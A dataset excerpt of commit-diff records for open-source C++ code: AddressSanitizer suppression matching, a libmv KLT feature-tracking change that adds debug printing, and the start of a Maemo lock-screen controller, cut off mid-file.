CHECK(suppression_ctx);\n Suppression *s;\n \/\/ Match \"odr_violation\" suppressions.\n return suppression_ctx->Match(global_var_name, kODRViolation, &s);\n}\n\nbool IsStackTraceSuppressed(const StackTrace *stack) {\n if (!HaveStackTraceBasedSuppressions())\n return false;\n\n CHECK(suppression_ctx);\n Symbolizer *symbolizer = Symbolizer::GetOrInit();\n Suppression *s;\n for (uptr i = 0; i < stack->size && stack->trace[i]; i++) {\n uptr addr = stack->trace[i];\n\n if (suppression_ctx->HasSuppressionType(kInterceptorViaLibrary)) {\n const char *module_name;\n uptr module_offset;\n \/\/ Match \"interceptor_via_lib\" suppressions.\n if (symbolizer->GetModuleNameAndOffsetForPC(addr, &module_name,\n &module_offset) &&\n suppression_ctx->Match(module_name, kInterceptorViaLibrary, &s)) {\n return true;\n }\n }\n\n if (suppression_ctx->HasSuppressionType(kInterceptorViaFunction)) {\n SymbolizedStack *frames = symbolizer->SymbolizePC(addr);\n for (SymbolizedStack *cur = frames; cur; cur = cur->next) {\n const char *function_name = cur->info.function;\n if (!function_name) {\n continue;\n }\n \/\/ Match \"interceptor_via_fun\" suppressions.\n if (suppression_ctx->Match(function_name, kInterceptorViaFunction,\n &s)) {\n frames->ClearAll();\n return true;\n }\n }\n frames->ClearAll();\n }\n }\n return false;\n}\n\n} \/\/ namespace __asan\n<commit_msg>[asan] attempting to fix the windows build <commit_after>\/\/===-- asan_suppressions.cc ----------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Issue suppression and suppression-related functions.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"asan_suppressions.h\"\n\n#include \"asan_stack.h\"\n#include \"sanitizer_common\/sanitizer_placement_new.h\"\n#include \"sanitizer_common\/sanitizer_suppressions.h\"\n#include \"sanitizer_common\/sanitizer_symbolizer.h\"\n\nnamespace __asan {\n\nALIGNED(64) static char suppression_placeholder[sizeof(SuppressionContext)];\nstatic SuppressionContext *suppression_ctx = nullptr;\nstatic const char kInterceptorName[] = \"interceptor_name\";\nstatic const char kInterceptorViaFunction[] = \"interceptor_via_fun\";\nstatic const char kInterceptorViaLibrary[] = \"interceptor_via_lib\";\nstatic const char kODRViolation[] = \"odr_violation\";\nstatic const char *kSuppressionTypes[] = {\n kInterceptorName, kInterceptorViaFunction, kInterceptorViaLibrary,\n kODRViolation};\n\n#if SANITIZER_SUPPORTS_WEAK_HOOKS\nextern \"C\" {\nSANITIZER_INTERFACE_ATTRIBUTE SANITIZER_WEAK_ATTRIBUTE\nconst char *__asan_default_suppressions();\n} \/\/ extern \"C\"\n#endif \/\/ SANITIZER_SUPPORTS_WEAK_HOOKS\n\nvoid InitializeSuppressions() {\n CHECK_EQ(nullptr, suppression_ctx);\n suppression_ctx = new (suppression_placeholder) \/\/ NOLINT\n SuppressionContext(kSuppressionTypes, ARRAY_SIZE(kSuppressionTypes));\n suppression_ctx->ParseFromFile(flags()->suppressions);\n#if SANITIZER_SUPPORTS_WEAK_HOOKS\n if (&__asan_default_suppressions)\n suppression_ctx->Parse(__asan_default_suppressions());\n#endif \/\/ SANITIZER_SUPPORTS_WEAK_HOOKS\n}\n\nbool IsInterceptorSuppressed(const char *interceptor_name) {\n CHECK(suppression_ctx);\n Suppression *s;\n \/\/ Match \"interceptor_name\" suppressions.\n return suppression_ctx->Match(interceptor_name, kInterceptorName, &s);\n}\n\nbool HaveStackTraceBasedSuppressions() {\n CHECK(suppression_ctx);\n return suppression_ctx->HasSuppressionType(kInterceptorViaFunction) ||\n suppression_ctx->HasSuppressionType(kInterceptorViaLibrary);\n}\n\nbool IsODRViolationSuppressed(const char *global_var_name) {\n CHECK(suppression_ctx);\n Suppression *s;\n \/\/ Match \"odr_violation\" suppressions.\n return suppression_ctx->Match(global_var_name, kODRViolation, &s);\n}\n\nbool IsStackTraceSuppressed(const StackTrace *stack) {\n if (!HaveStackTraceBasedSuppressions())\n return false;\n\n CHECK(suppression_ctx);\n Symbolizer *symbolizer = Symbolizer::GetOrInit();\n Suppression *s;\n for (uptr i = 0; i < stack->size && stack->trace[i]; i++) {\n uptr addr = stack->trace[i];\n\n if (suppression_ctx->HasSuppressionType(kInterceptorViaLibrary)) {\n const char *module_name;\n uptr module_offset;\n \/\/ Match \"interceptor_via_lib\" suppressions.\n if (symbolizer->GetModuleNameAndOffsetForPC(addr, &module_name,\n &module_offset) &&\n suppression_ctx->Match(module_name, kInterceptorViaLibrary, &s)) {\n return true;\n }\n }\n\n if (suppression_ctx->HasSuppressionType(kInterceptorViaFunction)) {\n SymbolizedStack *frames = symbolizer->SymbolizePC(addr);\n for (SymbolizedStack *cur = frames; cur; cur = cur->next) {\n const char *function_name = cur->info.function;\n if (!function_name) {\n continue;\n }\n \/\/ Match \"interceptor_via_fun\" suppressions.\n if (suppression_ctx->Match(function_name, kInterceptorViaFunction,\n &s)) {\n frames->ClearAll();\n return true;\n }\n }\n frames->ClearAll();\n }\n }\n return false;\n}\n\n} \/\/ namespace __asan\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2007, 2008 libmv authors.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\n#include <cassert>\n#include <vector>\n\n#include \"libmv\/numeric\/numeric.h\"\n#include \"libmv\/correspondence\/klt.h\"\n#include \"libmv\/image\/image.h\"\n#include \"libmv\/image\/image_io.h\"\n#include \"libmv\/image\/convolve.h\"\n#include \"libmv\/image\/sample.h\"\n\nusing std::vector;\n\nnamespace libmv {\n\nstatic void FindLocalMaxima(const FloatImage &trackness,\n float min_trackness,\n KLTContext::FeatureList *features) {\n for (int i = 1; i < trackness.Height()-1; ++i) {\n for (int j = 1; j < trackness.Width()-1; ++j) {\n if ( trackness(i,j) >= min_trackness\n && trackness(i,j) >= trackness(i-1, j-1)\n && trackness(i,j) >= trackness(i-1, j )\n && trackness(i,j) >= trackness(i-1, j+1)\n && trackness(i,j) >= trackness(i , j-1)\n && trackness(i,j) >= trackness(i , j+1)\n && trackness(i,j) >= trackness(i+1, j-1)\n && trackness(i,j) >= trackness(i+1, j )\n && trackness(i,j) >= trackness(i+1, j+1)) {\n KLTPointFeature *p = new KLTPointFeature;\n p->position(1) = i;\n p->position(0) = j;\n p->trackness = trackness(i,j);\n features->push_back(p);\n }\n }\n }\n}\n\n\/\/ Compute the gradient matrix noted by Z in Good Features to Track.\n\/\/\n\/\/ Z = [gxx gxy; gxy gyy]\n\/\/\n\/\/ This function computes the matrix for every pixel.\nstatic void ComputeGradientMatrix(const Array3Df &image_and_gradients,\n int window_size,\n Array3Df *gradient_matrix) {\n Array3Df gradients;\n gradients.ResizeLike(image_and_gradients);\n for (int j = 0; j < image_and_gradients.Height(); ++j) {\n for (int i = 0; i < image_and_gradients.Width(); ++i) {\n float gx = image_and_gradients(j, i, 1);\n float gy = image_and_gradients(j, i, 2);\n gradients(j, i, 0) = gx * gx;\n gradients(j, i, 1) = gx * gy;\n gradients(j, i, 2) = gy * gy;\n }\n }\n \/\/ Sum the gradient matrix over tracking window for each pixel.\n BoxFilter(gradients, window_size, gradient_matrix);\n}\n\n\/\/ Given the three distinct elements of the symmetric 2x2 matrix\n\/\/\n\/\/ [gxx gxy]\n\/\/ [gxy gyy],\n\/\/\n\/\/ return the minimum eigenvalue of the matrix.\n\/\/ Borrowed from Stan Birchfield's KLT implementation.\nstatic float MinEigenValue(float gxx, float gxy, float gyy) {\n return (gxx + gyy - sqrt((gxx - gyy) * (gxx - gyy) + 4 * gxy * gxy)) \/ 2.0f;\n}\n\n\/\/ Compute trackness of every pixel given the gradient matrix.\n\/\/ This is done as described in the Good Features to Track paper.\nstatic void ComputeTrackness(const Array3Df gradient_matrix,\n Array3Df *trackness_pointer,\n double *trackness_mean) {\n Array3Df &trackness = *trackness_pointer;\n trackness.Resize(gradient_matrix.Height(), gradient_matrix.Width());\n *trackness_mean = 0;\n for (int i = 0; i < trackness.Height(); ++i) {\n for (int j = 0; j < trackness.Width(); ++j) {\n double t = MinEigenValue(gradient_matrix(i, j, 0),\n gradient_matrix(i, j, 1),\n gradient_matrix(i, j, 2));\n trackness(i, j) = t;\n *trackness_mean += t;\n }\n }\n *trackness_mean \/= trackness.Size();\n}\n\nstatic double dist2(const Vec2f &x, const Vec2f &y) {\n double a = x(0) - y(0);\n double b = x(1) - y(1);\n return a * a + b * b;\n}\n\n\/\/ TODO(keir): Use Stan's neat trick of using a 'punch-out' array to detect\n\/\/ too-closes features. This is O(n^2)!\nstatic void RemoveTooCloseFeatures(KLTContext::FeatureList *features,\n double mindist2) {\n\n KLTContext::FeatureList::iterator i = features->begin();\n while (i != features->end()) {\n bool i_deleted = false;\n KLTContext::FeatureList::iterator j = i;\n ++j;\n while (j != features->end() && !i_deleted) {\n if (dist2((*i)->position, (*j)->position) < mindist2) {\n KLTContext::FeatureList::iterator to_delete;\n if ((*i)->trackness < (*j)->trackness) {\n to_delete = i;\n ++i;\n i_deleted = true;\n } else {\n to_delete = j;\n ++j;\n }\n delete *to_delete;\n features->erase(to_delete);\n } else {\n ++j;\n }\n }\n if (!i_deleted) {\n ++i;\n }\n }\n}\n\nvoid KLTContext::DetectGoodFeatures(const Array3Df &image_and_gradients,\n FeatureList *features) {\n Array3Df gradient_matrix;\n ComputeGradientMatrix(image_and_gradients, WindowSize(), &gradient_matrix);\n\n Array3Df trackness;\n double trackness_mean;\n ComputeTrackness(gradient_matrix, &trackness, &trackness_mean);\n min_trackness_ = trackness_mean;\n\n FindLocalMaxima(trackness, min_trackness_, features);\n\n RemoveTooCloseFeatures(features, min_feature_dist_ * min_feature_dist_);\n}\n\n\/\/ TODO(keir): Restore or delete these functions...\nvoid KLTContext::TrackFeatures(ImagePyramid *pyramid1,\n const FeatureList &features1,\n ImagePyramid *pyramid2,\n FeatureList *features2_pointer) {\n FeatureList &features2 = *features2_pointer;\n\n features2.clear();\n for (FeatureList::const_iterator i = features1.begin();\n i != features1.end(); ++i) {\n KLTPointFeature *tracked_feature = new KLTPointFeature;\n TrackFeature(pyramid1, **i, pyramid2, tracked_feature);\n features2.push_back(tracked_feature);\n }\n}\n\nvoid KLTContext::TrackFeature(ImagePyramid *pyramid1,\n const KLTPointFeature &feature1,\n ImagePyramid *pyramid2,\n KLTPointFeature *feature2_pointer) {\n const int highest_level = pyramid1->NumLevels() - 1;\n\n Vec2 position1, position2;\n position2(0) = feature1.position(0) \/ pow(2., highest_level + 1);\n position2(1) = feature1.position(1) \/ pow(2., highest_level + 1);\n\n for (int i = highest_level; i >= 0; --i) {\n position1(0) = feature1.position(0) \/ pow(2., i);\n position1(1) = feature1.position(1) \/ pow(2., i);\n position2(0) *= 2;\n position2(1) *= 2;\n\n TrackFeatureOneLevel(pyramid1->Level(i),\n position1,\n pyramid2->Level(i),\n &position2);\n }\n feature2_pointer->position = position2;\n}\n\n\/\/ Compute the gradient matrix noted by Z and the error vector e.\n\/\/ See Good Features to Track.\nstatic void ComputeTrackingEquation(const Array3Df &image_and_gradient1,\n const Array3Df &image_and_gradient2,\n const Vec2 &position1,\n const Vec2 &position2,\n int half_width,\n float *gxx,\n float *gxy,\n float *gyy,\n float *ex,\n float *ey) {\n *gxx = 0;\n *gxy = 0;\n *gyy = 0;\n *ex = 0;\n *ey = 0;\n for (int i = -half_width; i <= half_width; ++i) {\n for (int j = -half_width; j <= half_width; ++j) {\n float x1 = position1(0) + j;\n float y1 = position1(1) + i;\n float x2 = position2(0) + j;\n float y2 = position2(1) + i;\n \/\/ TODO(pau): should do boundary checking outside this loop, and call here\n \/\/ a sampler that does not boundary checking.\n float I = SampleLinear(image_and_gradient1, y1, x1, 0);\n float J = SampleLinear(image_and_gradient2, y2, x2, 0);\n float gx = SampleLinear(image_and_gradient2, y2, x2, 1);\n float gy = SampleLinear(image_and_gradient2, y2, x2, 2);\n *gxx += gx * gx;\n *gxy += gx * gy;\n *gyy += gy * gy;\n *ex += (I - J) * gx;\n *ey += (I - J) * gy;\n }\n }\n}\n\n\/\/ Solve the tracking equation\n\/\/\n\/\/ [gxx gxy] [dx] = [ex]\n\/\/ [gxy gyy] [dy] = [ey]\n\/\/\n\/\/ for dx and dy. Borrowed from Stan Birchfield's KLT implementation.\nstatic bool SolveTrackingEquation(float gxx, float gxy, float gyy,\n float ex, float ey,\n float min_determinant,\n float *dx, float *dy) {\n float det = gxx * gyy - gxy * gxy;\n\/\/ printf(\"det=%f, min_det=%f, gxx=%f, gxy=%f, gyy=%f\\n\", det, min_determinant,\n\/\/ gxx, gxy, gyy);\n if (det < min_determinant) {\n *dx = 0;\n *dy = 0;\n return false;\n }\n *dx = (gyy * ex - gxy * ey) \/ det;\n *dy = (gxx * ey - gxy * ex) \/ det;\n return true;\n}\n\nvoid KLTContext::TrackFeatureOneLevel(const Array3Df &image_and_gradient1,\n const Vec2 &position1,\n const Array3Df &image_and_gradient2,\n Vec2 *position2_pointer) {\n Vec2 &position2 = *position2_pointer;\n\n for (int i = 0; i < max_iterations_; ++i) {\n \/\/ Compute gradient matrix and error vector.\n float gxx, gxy, gyy, ex, ey;\n ComputeTrackingEquation(image_and_gradient1, image_and_gradient2,\n position1, position2,\n HalfWindowSize(),\n &gxx, &gxy, &gyy, &ex, &ey);\n \/\/ Solve the linear system for deltad.\n float dx, dy;\n if (!SolveTrackingEquation(gxx, gxy, gyy, ex, ey, min_determinant_,\n &dx, &dy)) {\n \/\/ TODO(keir): drop feature.\n\/\/ printf(\"dropped!\\n\");\n }\n\n \/\/ Update feature2 position.\n position2(0) += dx;\n position2(1) += dy;\n\n \/\/ TODO(keir): Handle other tracking failure conditions and pass the\n \/\/ reasons out to the caller. For example, for pyramid tracking a failure\n \/\/ at a coarse level suggests trying again at a finer level.\n if (Square(dx) + Square(dy) < min_update_distance2_) {\n\/\/ printf(\"distance too small: %f, %f\\n\", dx, dy);\n break;\n }\n\/\/ printf(\"dx=%f, dy=%f\\n\", dx, dy);\n }\n}\n\n\nvoid KLTContext::DrawFeatureList(const FeatureList &features,\n const Vec3 &color,\n FloatImage *image) const {\n for (FeatureList::const_iterator i = features.begin();\n i != features.end(); ++i) {\n DrawFeature(**i, color, image);\n }\n}\n\nvoid KLTContext::DrawFeature(const KLTPointFeature &feature,\n const Vec3 &color,\n FloatImage *image) const {\n assert(image->Depth() == 3);\n\n const int cross_width = 5;\n int x = lround(feature.position(0));\n int y = lround(feature.position(1));\n if (!image->Contains(y,x)) {\n return;\n }\n\n \/\/ Draw vertical line.\n for (int i = max(0, y - cross_width);\n i < min(image->Height(), y + cross_width + 1); ++i) {\n for (int k = 0; k < 3; ++k) {\n (*image)(i, x, k) = color(k);\n }\n }\n \/\/ Draw horizontal line.\n for (int j = max(0, x - cross_width);\n j < min(image->Width(), x + cross_width + 1); ++j) {\n for (int k = 0; k < 3; ++k) {\n (*image)(y, j, k) = color(k);\n }\n }\n}\n\n} \/\/ namespace libmv\n<commit_msg>Add debug printing to KLT.<commit_after>\/\/ Copyright (c) 2007, 2008 libmv authors.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\n#include <cassert>\n#include <vector>\n\n#include \"libmv\/numeric\/numeric.h\"\n#include \"libmv\/correspondence\/klt.h\"\n#include \"libmv\/image\/image.h\"\n#include \"libmv\/image\/image_io.h\"\n#include \"libmv\/image\/convolve.h\"\n#include \"libmv\/image\/sample.h\"\n\nusing std::vector;\n\nnamespace libmv {\n\nstatic void FindLocalMaxima(const FloatImage &trackness,\n float min_trackness,\n KLTContext::FeatureList *features) {\n for (int i = 1; i < trackness.Height()-1; ++i) {\n for (int j = 1; j < trackness.Width()-1; ++j) {\n if ( trackness(i,j) >= min_trackness\n && trackness(i,j) >= trackness(i-1, j-1)\n && trackness(i,j) >= trackness(i-1, j )\n && trackness(i,j) >= trackness(i-1, j+1)\n && trackness(i,j) >= trackness(i , j-1)\n && trackness(i,j) >= trackness(i , j+1)\n && trackness(i,j) >= trackness(i+1, j-1)\n && trackness(i,j) >= trackness(i+1, j )\n && trackness(i,j) >= trackness(i+1, j+1)) {\n KLTPointFeature *p = new KLTPointFeature;\n p->position(1) = i;\n p->position(0) = j;\n p->trackness = trackness(i,j);\n features->push_back(p);\n }\n }\n }\n}\n\n\/\/ Compute the gradient matrix noted by Z in Good Features to Track.\n\/\/\n\/\/ Z = [gxx gxy; gxy gyy]\n\/\/\n\/\/ This function computes the matrix for every pixel.\nstatic void ComputeGradientMatrix(const Array3Df &image_and_gradients,\n int window_size,\n Array3Df *gradient_matrix) {\n Array3Df gradients;\n gradients.ResizeLike(image_and_gradients);\n for (int j = 0; j < image_and_gradients.Height(); ++j) {\n for (int i = 0; i < image_and_gradients.Width(); ++i) {\n float gx = image_and_gradients(j, i, 1);\n float gy = image_and_gradients(j, i, 2);\n gradients(j, i, 0) = gx * gx;\n gradients(j, i, 1) = gx * gy;\n gradients(j, i, 2) = gy * gy;\n }\n }\n \/\/ Sum the gradient matrix over tracking window for each pixel.\n BoxFilter(gradients, window_size, gradient_matrix);\n}\n\n\/\/ Given the three distinct elements of the symmetric 2x2 matrix\n\/\/\n\/\/ [gxx gxy]\n\/\/ [gxy gyy],\n\/\/\n\/\/ return the minimum eigenvalue of the matrix.\n\/\/ Borrowed from Stan Birchfield's KLT implementation.\nstatic float MinEigenValue(float gxx, float gxy, float gyy) {\n return (gxx + gyy - sqrt((gxx - gyy) * (gxx - gyy) + 4 * gxy * gxy)) \/ 2.0f;\n}\n\n\/\/ Compute trackness of every pixel given the gradient matrix.\n\/\/ This is done as described in the Good Features to Track paper.\nstatic void ComputeTrackness(const Array3Df gradient_matrix,\n Array3Df *trackness_pointer,\n double *trackness_mean) {\n Array3Df &trackness = *trackness_pointer;\n trackness.Resize(gradient_matrix.Height(), gradient_matrix.Width());\n *trackness_mean = 0;\n for (int i = 0; i < trackness.Height(); ++i) {\n for (int j = 0; j < trackness.Width(); ++j) {\n double t = MinEigenValue(gradient_matrix(i, j, 0),\n gradient_matrix(i, j, 1),\n gradient_matrix(i, j, 2));\n trackness(i, j) = t;\n *trackness_mean += t;\n }\n }\n *trackness_mean \/= trackness.Size();\n}\n\nstatic double dist2(const Vec2f &x, const Vec2f &y) {\n double a = x(0) - y(0);\n double b = x(1) - y(1);\n return a * a + b * b;\n}\n\n\/\/ TODO(keir): Use Stan's neat trick of using a 'punch-out' array to detect\n\/\/ too-closes features. This is O(n^2)!\nstatic void RemoveTooCloseFeatures(KLTContext::FeatureList *features,\n double mindist2) {\n\n KLTContext::FeatureList::iterator i = features->begin();\n while (i != features->end()) {\n bool i_deleted = false;\n KLTContext::FeatureList::iterator j = i;\n ++j;\n while (j != features->end() && !i_deleted) {\n if (dist2((*i)->position, (*j)->position) < mindist2) {\n KLTContext::FeatureList::iterator to_delete;\n if ((*i)->trackness < (*j)->trackness) {\n to_delete = i;\n ++i;\n i_deleted = true;\n } else {\n to_delete = j;\n ++j;\n }\n delete *to_delete;\n features->erase(to_delete);\n } else {\n ++j;\n }\n }\n if (!i_deleted) {\n ++i;\n }\n }\n}\n\nvoid KLTContext::DetectGoodFeatures(const Array3Df &image_and_gradients,\n FeatureList *features) {\n Array3Df gradient_matrix;\n ComputeGradientMatrix(image_and_gradients, WindowSize(), &gradient_matrix);\n\n Array3Df trackness;\n double trackness_mean;\n ComputeTrackness(gradient_matrix, &trackness, &trackness_mean);\n min_trackness_ = trackness_mean;\n\n FindLocalMaxima(trackness, min_trackness_, features);\n\n RemoveTooCloseFeatures(features, min_feature_dist_ * min_feature_dist_);\n}\n\n\/\/ TODO(keir): Restore or delete these functions...\nvoid KLTContext::TrackFeatures(ImagePyramid *pyramid1,\n const FeatureList &features1,\n ImagePyramid *pyramid2,\n FeatureList *features2_pointer) {\n FeatureList &features2 = *features2_pointer;\n\n features2.clear();\n for (FeatureList::const_iterator i = features1.begin();\n i != features1.end(); ++i) {\n KLTPointFeature *tracked_feature = new KLTPointFeature;\n TrackFeature(pyramid1, **i, pyramid2, tracked_feature);\n features2.push_back(tracked_feature);\n }\n}\n\nvoid KLTContext::TrackFeature(ImagePyramid *pyramid1,\n const KLTPointFeature &feature1,\n ImagePyramid *pyramid2,\n KLTPointFeature *feature2_pointer) {\n const int highest_level = pyramid1->NumLevels() - 1;\n\n Vec2 position1, position2;\n position2(0) = feature1.position(0) \/ pow(2., highest_level + 1);\n position2(1) = feature1.position(1) \/ pow(2., highest_level + 1);\n\n for (int i = highest_level; i >= 0; --i) {\n position1(0) = feature1.position(0) \/ pow(2., i);\n position1(1) = feature1.position(1) \/ pow(2., i);\n position2(0) *= 2;\n position2(1) *= 2;\n\n TrackFeatureOneLevel(pyramid1->Level(i),\n position1,\n pyramid2->Level(i),\n &position2);\n }\n feature2_pointer->position = position2;\n}\n\n\/\/ Compute the gradient matrix noted by Z and the error vector e.\n\/\/ See Good Features to Track.\nstatic void ComputeTrackingEquation(const Array3Df &image_and_gradient1,\n const Array3Df &image_and_gradient2,\n const Vec2 &position1,\n const Vec2 &position2,\n int half_width,\n float *gxx,\n float *gxy,\n float *gyy,\n float *ex,\n float *ey) {\n *gxx = 0;\n *gxy = 0;\n *gyy = 0;\n *ex = 0;\n *ey = 0;\n for (int i = -half_width; i <= half_width; ++i) {\n for (int j = -half_width; j <= half_width; ++j) {\n float x1 = position1(0) + j;\n float y1 = position1(1) + i;\n float x2 = position2(0) + j;\n float y2 = position2(1) + i;\n \/\/ TODO(pau): should do boundary checking outside this loop, and call here\n \/\/ a sampler that does not boundary checking.\n float I = SampleLinear(image_and_gradient1, y1, x1, 0);\n float J = SampleLinear(image_and_gradient2, y2, x2, 0);\n float gx = SampleLinear(image_and_gradient2, y2, x2, 1);\n float gy = SampleLinear(image_and_gradient2, y2, x2, 2);\n *gxx += gx * gx;\n *gxy += gx * gy;\n *gyy += gy * gy;\n *ex += (I - J) * gx;\n *ey += (I - J) * gy;\n }\n }\n}\n\n\/\/ Solve the tracking equation\n\/\/\n\/\/ [gxx gxy] [dx] = [ex]\n\/\/ [gxy gyy] [dy] = [ey]\n\/\/\n\/\/ for dx and dy. Borrowed from Stan Birchfield's KLT implementation.\nstatic bool SolveTrackingEquation(float gxx, float gxy, float gyy,\n float ex, float ey,\n float min_determinant,\n float *dx, float *dy) {\n float det = gxx * gyy - gxy * gxy;\n\/\/ printf(\"det=%f, min_det=%f, gxx=%f, gxy=%f, gyy=%f\\n\", det, min_determinant,\n\/\/ gxx, gxy, gyy);\n if (det < min_determinant) {\n *dx = 0;\n *dy = 0;\n return false;\n }\n *dx = (gyy * ex - gxy * ey) \/ det;\n *dy = (gxx * ey - gxy * ex) \/ det;\n return true;\n}\n\nvoid KLTContext::TrackFeatureOneLevel(const Array3Df &image_and_gradient1,\n const Vec2 &position1,\n const Array3Df &image_and_gradient2,\n Vec2 *position2_pointer) {\n Vec2 &position2 = *position2_pointer;\n\n int i;\n float dx=0, dy=0;\n max_iterations_ = 30;\n printf(\"disps = array([\\n\");\n for (i = 0; i < max_iterations_; ++i) {\n \/\/ Compute gradient matrix and error vector.\n float gxx, gxy, gyy, ex, ey;\n ComputeTrackingEquation(image_and_gradient1, image_and_gradient2,\n position1, position2,\n HalfWindowSize(),\n &gxx, &gxy, &gyy, &ex, &ey);\n \/\/ Solve the linear system for deltad.\n if (!SolveTrackingEquation(gxx, gxy, gyy, ex, ey, min_determinant_,\n &dx, &dy)) {\n \/\/ TODO(keir): drop feature.\n printf(\"dropped!\\n\");\n }\n\n \/\/ shrink the update\n dx *= 0.5;\n dy *= 0.5;\n\n \/\/ Update feature2 position.\n position2(0) += dx;\n position2(1) += dy;\n\n printf(\" [%10f, %10f, %10f, %10f],\\n\", dx, dy, position2(0), position2(1));\n\n \/\/ TODO(keir): Handle other tracking failure conditions and pass the\n \/\/ reasons out to the caller. For example, for pyramid tracking a failure\n \/\/ at a coarse level suggests trying again at a finer level.\n if (Square(dx) + Square(dy) < min_update_distance2_) {\n printf(\"# distance too small: %f, %f\\n\", dx, dy);\n break;\n }\n\/\/ printf(\"dx=%f, dy=%f\\n\", dx, dy);\n }\n printf(\"])\\n\");\n if (i == max_iterations_) {\n printf(\"hit max iters. dx=%f, dy=%f\\n\", dx, dy);\n }\n}\n\n\nvoid KLTContext::DrawFeatureList(const FeatureList &features,\n const Vec3 &color,\n FloatImage *image) const {\n for (FeatureList::const_iterator i = features.begin();\n i != features.end(); ++i) {\n DrawFeature(**i, color, image);\n }\n}\n\nvoid KLTContext::DrawFeature(const KLTPointFeature &feature,\n const Vec3 &color,\n FloatImage *image) const {\n assert(image->Depth() == 3);\n\n const int cross_width = 5;\n int x = lround(feature.position(0));\n int y = lround(feature.position(1));\n if (!image->Contains(y,x)) {\n return;\n }\n\n \/\/ Draw vertical line.\n for (int i = max(0, y - cross_width);\n i < min(image->Height(), y + cross_width + 1); ++i) {\n for (int k = 0; k < 3; ++k) {\n (*image)(i, x, k) = color(k);\n }\n }\n \/\/ Draw horizontal line.\n for (int j = max(0, x - cross_width);\n j < min(image->Width(), x + cross_width + 1); ++j) {\n for (int k = 0; k < 3; ++k) {\n (*image)(y, j, k) = color(k);\n }\n }\n}\n\n} \/\/ namespace libmv\n<|endoftext|>"} {"text":"<commit_before>#include <DuiApplicationWindow>\n#include <DuiApplication>\n#include <QDBusInterface>\n#include <QDebug>\n\n#include \"lockscreenui.h\"\n#include \"lockscreenbusinesslogic.h\"\n\nLockScreenBusinessLogic::LockScreenBusinessLogic(QObject* parent) :\n QObject(parent),\n display(NULL),\n lockUI(NULL)\n{\n qDebug() << Q_FUNC_INFO;\n\n display = new QmDisplayState(this);\n lockUI = new LockScreenUI();\n\n connect(display, SIGNAL(displayStateChanged(Maemo::QmDisplayState::DisplayState)),\n this, SLOT(displayStateChanged(Maemo::QmDisplayState::DisplayState)));\n connect(lockUI, SIGNAL(unlocked()), this, SLOT(unlockScreen()));\n\n\n \/*\n dbusIf = new QDBusInterface(\"org.maemo.dui.NotificationManager\", \"\/systemui\",\n \"org.maemo.dui.NotificationManager.MissedEvents\",\n QDBusConnection::sessionBus(), this);\n connect(dbusIf, SIGNAL(missedEventAmountsChanged(int, int, int, int)),\n this, SLOT(updateMissedEventAmounts(int, int, int, int)));\n dbusIf->call(QDBus::NoBlock, QString(\"missedEventAmountsRequired\"));\n *\/\n shortPowerKeyPressOccured();\n}\n\nLockScreenBusinessLogic::~LockScreenBusinessLogic()\n{\n \/\/delete eventEater;\n \/\/eventEater = NULL;\n delete lockUI;\n}\n\nvoid LockScreenBusinessLogic::shortPowerKeyPressOccured()\n{\n qDebug() << Q_FUNC_INFO;\n switch (display->get()) {\n case Maemo::QmDisplayState::Off:\n toggleScreenLockUI(true); \/\/make sure the UI is on\n toggleKeyPadLock(false);\n display->set(Maemo::QmDisplayState::On);\n break;\n case Maemo::QmDisplayState::On:\n case Maemo::QmDisplayState::Dimmed:\n toggleKeyPadLock(true);\n display->set(Maemo::QmDisplayState::Off);\n toggleScreenLockUI(true);\n break;\n }\n}\n\nvoid LockScreenBusinessLogic::displayStateChanged(Maemo::QmDisplayState::DisplayState state)\n{\n qDebug() << Q_FUNC_INFO << state;\n switch (state) {\n case Maemo::QmDisplayState::Off:\n toggleKeyPadLock(true); \/\/lock the keypad\n toggleScreenLockUI(true); \/\/show UI\n break;\n case 